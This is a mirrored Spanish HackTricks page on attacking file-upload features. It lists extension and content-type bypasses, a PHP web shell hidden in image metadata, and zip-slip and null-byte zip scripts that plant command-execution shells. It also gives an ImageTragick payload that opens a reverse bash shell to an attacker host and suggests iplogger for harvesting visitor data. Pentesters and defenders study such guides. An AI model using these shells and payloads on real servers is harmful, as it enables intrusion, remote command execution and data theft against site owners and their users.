mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
295 lines
22 KiB
Markdown
295 lines
22 KiB
Markdown
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
|
||
# Metodología general de carga de archivos
|
||
|
||
1. Intenta cargar un archivo con una **doble extensión** \(ejemplo: _file.png.php_ o _file.png.php5_\).
|
||
* Extensiones de PHP: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
|
||
* Extensiones de ASP: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_
|
||
2. Intenta **poner en mayúscula alguna\(s\) letra\(s\) de la extensión**. Por ejemplo: _.pHp, .pHP5, .PhAr ..._
|
||
3. Intenta cargar alguna **doble \(o más\) extensión** \(útil para evadir comprobaciones mal configuradas que prueban si una extensión específica está presente\):
|
||
1. _file.png.php_
|
||
2. _file.png.txt.php_
|
||
4. Intenta cargar alguna **doble extensión invertida** \(útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión _.php_, pero **no necesariamente terminando en .php**, ejecutará código\):
|
||
* _ejemplo: file.php.png_
|
||
5. Doble extensión con **carácter nulo**:
|
||
1. _ejemplo: file.php%00.png_
|
||
6. **Agrega algunos caracteres especiales al final** de la extensión_: %00, %20, \(varios puntos\)...._
|
||
1. _file.php%00_
|
||
2. _file.php%20_
|
||
3. _file.php...... --> En Windows, cuando se crea un archivo con puntos al final, estos se eliminarán \(por lo que se pueden evadir los filtros que verifican la extensión .php\)
|
||
4. _file.php/_
|
||
5. _file.php.\_
|
||
7. Evita las comprobaciones de tipo de contenido estableciendo el **valor** del **encabezado Content-Type** en: _image/png_, _text/plain_, application/octet-stream_
|
||
8. Evita la comprobación del número mágico agregando al principio del archivo los **bytes de una imagen real** \(confunde el comando _file_\). O introduce la shell dentro de los **metadatos**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
|
||
1. También es posible que los **bytes mágicos** solo se estén **comprobando** en el archivo y se puedan establecer **en cualquier lugar del archivo**.
|
||
9. Usa el **flujo de datos alternativo NTFS \(ADS\)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor \(por ejemplo, "file.asax:.jpg"\). Este archivo puede editarse más tarde utilizando otras técnicas, como usar su nombre corto. El patrón "**::$data**" también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también puede ser útil para evadir restricciones adicionales \(por ejemplo, "file.asp::$data."\)
|
||
10. **Carga** la puerta trasera con una **extensión permitida** \(_png_\) y reza por una **configuración incorrecta** que ejecute la puerta trasera
|
||
11. Encuentra una vulnerabilidad para **renombrar** el archivo ya cargado \(cambiar la extensión\).
|
||
12. Encuentra una vulnerabilidad de **Inclusión de archivo local** para ejecutar la puerta trasera.
|
||
13. **Posible divulgación de información**:
|
||
1. Carga **varias veces** \(y al **mismo tiempo**\) el **mismo archivo** con el **mismo nombre**
|
||
2. Carga un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
|
||
3. Cargar un archivo con **“.”, “..”, o “…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos cargados en el directorio "/www/uploads/", el nombre de archivo "." creará un archivo llamado "uploads" en el directorio "/www/".
|
||
4. Carga un archivo que no se pueda eliminar fácilmente, como **“…:.jpg”** en **NTFS**. \(Windows\)
|
||
5. Carga un archivo en **Windows** con caracteres no válidos como `|<>*?”` en su nombre. \(Windows\)
|
||
6. Carga un archivo en **Windows** utilizando **nombres reservados** \(**prohibidos**\) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.
|
||
|
||
También intenta cargar un ejecutable \(.exe\) o un **.html** \(menos sospechoso\) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.
|
||
|
||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}
|
||
|
||
Si estás intentando cargar archivos en un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).
|
||
Si estás intentando cargar archivos en un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||
Los archivos `.phar` son como los archivos `.jar` para Java, pero para PHP, y se pueden **usar como un archivo PHP** (ejecutándolo con PHP o incluyéndolo dentro de un script...).
|
||
|
||
La extensión `.inc` se utiliza a veces para archivos PHP que solo se utilizan para **importar archivos**, por lo que en algún momento alguien podría haber permitido **ejecutar esta extensión**.
|
||
|
||
**Verifique muchas posibles vulnerabilidades de carga de archivos con el complemento BurpSuit** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **o use una aplicación de consola que encuentre qué archivos se pueden cargar y pruebe diferentes trucos para ejecutar código:** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)
|
||
|
||
## **Truco de carga de archivos/SSRF con wget**
|
||
|
||
En algunas ocasiones, puede suceder que un servidor esté utilizando **`wget`** para **descargar archivos** y se pueda **indicar** la **URL**. En estos casos, es posible que el código esté verificando que la extensión de los archivos descargados esté en una lista blanca para asegurarse de que solo se descarguen archivos permitidos. Sin embargo, **esta verificación se puede eludir**.
|
||
La **longitud máxima** de un **nombre de archivo** en **Linux** es de **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **burlará** la **verificación** (como en este ejemplo **".gif"** es una extensión **válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
|
||
```bash
|
||
#Create file and HTTP server
|
||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
python3 -m http.server 9080
|
||
```
|
||
|
||
```bash
|
||
#Download the file
|
||
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
The name is too long, 240 chars total.
|
||
Trying to shorten...
|
||
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
|
||
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
|
||
Connecting to 127.0.0.1:9080... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 10 [image/gif]
|
||
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
|
||
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
|
||
|
||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||
```
|
||
Ten en cuenta que **otra opción** que puedes estar considerando para evadir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial evite la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names`, ya que **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
|
||
|
||
# De la carga de archivos a otras vulnerabilidades
|
||
|
||
* Establece el **nombre de archivo** como `../../../tmp/lol.png` e intenta lograr una **travesía de directorios**
|
||
* Establece el **nombre de archivo** como `sleep(10)-- -.jpg` y podrías lograr una **inyección SQL**
|
||
* Establece el **nombre de archivo** como `<svg onload=alert(document.comain)>` para lograr un XSS
|
||
* Establece el **nombre de archivo** como `; sleep 10;` para probar una inyección de comandos \(más [trucos de inyección de comandos aquí](command-injection.md)\)
|
||
* [**XSS** en carga de archivos de imagen \(svg\)](xss-cross-site-scripting/#xss-uploading-files-svg)
|
||
* Carga de archivo **JS** + **XSS** = [Explotación de **Service Workers**](xss-cross-site-scripting/#xss-abusing-service-workers)
|
||
* [**XXE en carga de archivos svg**](xxe-xee-xml-external-entity.md#svg-file-upload)
|
||
* [**Redirección abierta** mediante carga de archivos svg](open-redirect.md#open-redirect-uploading-svg-files)
|
||
* [Famosa vulnerabilidad de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||
* Si puedes **indicar al servidor web que capture una imagen desde una URL**, podrías intentar abusar de una [SSRF](ssrf-server-side-request-forgery.md). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
||
|
||
Aquí tienes una lista de los 10 principales logros que puedes obtener mediante la carga de archivos \(desde [enlace](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\):
|
||
|
||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||
2. **SVG**: XSS almacenado / SSRF / XXE
|
||
3. **GIF**: XSS almacenado / SSRF
|
||
4. **CSV**: Inyección CSV
|
||
5. **XML**: XXE
|
||
6. **AVI**: LFI / SSRF
|
||
7. **HTML / JS**: Inyección HTML / XSS / Redirección abierta
|
||
8. **PNG / JPEG**: Ataque de inundación de píxeles \(DoS\)
|
||
9. **ZIP**: RCE mediante LFI / DoS
|
||
10. **PDF / PPTX**: SSRF / XXE ciego
|
||
|
||
# Carga automática de archivos ZIP descomprimidos
|
||
|
||
Si puedes cargar un archivo ZIP que se va a descomprimir dentro del servidor, puedes hacer 2 cosas:
|
||
|
||
## Symlink
|
||
|
||
Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederás a los archivos vinculados:
|
||
```text
|
||
ln -s ../../../index.php symindex.txt
|
||
zip --symlinks test.zip symindex.txt
|
||
```
|
||
## Descomprimir en diferentes carpetas
|
||
|
||
Los archivos descomprimidos se crearán en carpetas inesperadas.
|
||
|
||
Uno podría asumir fácilmente que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero desafortunadamente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de niveles superiores, podemos escapar del directorio de carga seguro abusando de la función de descompresión de la aplicación objetivo.
|
||
|
||
Se puede encontrar un exploit automatizado para crear este tipo de archivos aquí: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
|
||
```python
|
||
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||
```
|
||
```python
|
||
import zipfile
|
||
|
||
def create_malicious_zip(file_path, payload):
|
||
with zipfile.ZipFile(file_path, 'w') as zip_file:
|
||
zip_file.writestr("../payload.php", payload)
|
||
|
||
file_path = "malicious.zip"
|
||
payload = "<?php system($_GET['cmd']); ?>"
|
||
create_malicious_zip(file_path, payload)
|
||
```
|
||
|
||
This Python code creates a malicious zip file that contains a payload.php file. The payload.php file contains PHP code that allows an attacker to execute arbitrary commands on the server using the `system` function. The `create_malicious_zip` function takes two parameters: `file_path`, which specifies the path where the malicious zip file will be created, and `payload`, which is the PHP code that will be written to the payload.php file.
|
||
```python
|
||
#!/usr/bin/python
|
||
import zipfile
|
||
from cStringIO import StringIO
|
||
|
||
def create_zip():
|
||
f = StringIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.writestr('otherfile.xml', 'Content of the file')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
Para lograr la ejecución remota de comandos, seguí los siguientes pasos:
|
||
|
||
1. Crear una shell PHP:
|
||
```php
|
||
<?php
|
||
if(isset($_REQUEST['cmd'])){
|
||
$cmd = ($_REQUEST['cmd']);
|
||
system($cmd);
|
||
}?>
|
||
```
|
||
2. Utiliza la técnica de "rociado de archivos" y crea un archivo zip comprimido:
|
||
```text
|
||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||
root@s2crew:/tmp# ls *.php
|
||
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||
adding: xxAcmd.php (deflated 40%)
|
||
adding: xxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
root@s2crew:/tmp#
|
||
```
|
||
3. Utiliza un editor hexadecimal o vi y cambia "xxA" por "../", yo utilicé vi:
|
||
```text
|
||
:set modifiable
|
||
:%s/xxA/..\//g
|
||
:x!
|
||
```
|
||
¡Solo queda un paso! ¡Sube el archivo ZIP y deja que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de comandos del sistema operativo en el sistema:
|
||
|
||
[](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||
|
||
**Referencia**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||
|
||
## Descomprimir con un nombre diferente
|
||
|
||
A veces, una aplicación bloqueará la carga de un archivo verificando su extensión dentro del archivo ZIP. Si esta verificación es superficial, es decir, verificando el nombre del archivo dentro del campo de encabezado local, se puede eludir haciendo que la aplicación crea que el archivo tiene esa extensión, aunque tendrá otra una vez descomprimido.
|
||
|
||
Podemos reutilizar el script anterior para crear un archivo ZIP.
|
||
```python
|
||
import zipfile
|
||
from io import BytesIO
|
||
|
||
def create_zip():
|
||
f = BytesIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
Ten en cuenta que el nombre tiene un espacio en su interior. Ahora puedes editar el archivo zip generado con un editor hexadecimal y cambiar este carácter en el campo del nombre ubicado dentro del Encabezado del Directorio Central por un byte nulo `00`:
|
||
```bash
|
||
# before changing the name of the file inside the Central Directory header
|
||
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd
|
||
# after changing the name of the file inside the Central Directory header
|
||
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd
|
||
```
|
||
Cuando la aplicación verifique el nombre del archivo dentro del zip, el nombre utilizado para esta verificación será el nombre del encabezado de archivo local, **pero no si el zip está encriptado** (ver la especificación pkzip). El nombre utilizado para almacenar el archivo será el nombre del encabezado del directorio central cuando 7z o unzip vean una diferencia entre los dos nombres. Gracias al byte nulo, el nombre será `shell.php`.
|
||
|
||
Cuando se descomprime:
|
||
```bash
|
||
7z e poc.zip
|
||
ls
|
||
shell.php
|
||
```
|
||
**Referencias**:
|
||
|
||
[https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)
|
||
|
||
[https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
||
|
||
# ImageTragic
|
||
|
||
Carga este contenido con una extensión de imagen para explotar la vulnerabilidad **\(ImageMagick, 7.0.1-1\)**.
|
||
```text
|
||
push graphic-context
|
||
viewbox 0 0 640 480
|
||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||
pop graphic-context
|
||
```
|
||
# Incrustando una Shell de PHP en PGN
|
||
|
||
La razón principal para poner una shell web en el chunk IDAT es que tiene la capacidad de evadir operaciones de cambio de tamaño y re-muestreo: PHP-GD contiene dos funciones para hacer esto [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) y [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||
|
||
Lee este artículo: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
|
||
# Archivos Políglotos
|
||
|
||
Los políglotos, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) es tanto un archivo GIF como un archivo RAR. También existen archivos que pueden ser tanto GIF como JS, tanto PPT como JS, etc.
|
||
|
||
Los archivos políglotos se utilizan a menudo para evadir protecciones basadas en tipos de archivos. Muchas aplicaciones que permiten a los usuarios cargar archivos solo permiten cargar ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios carguen archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.
|
||
|
||
Esto ayuda a cargar un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece un JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.
|
||
|
||
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|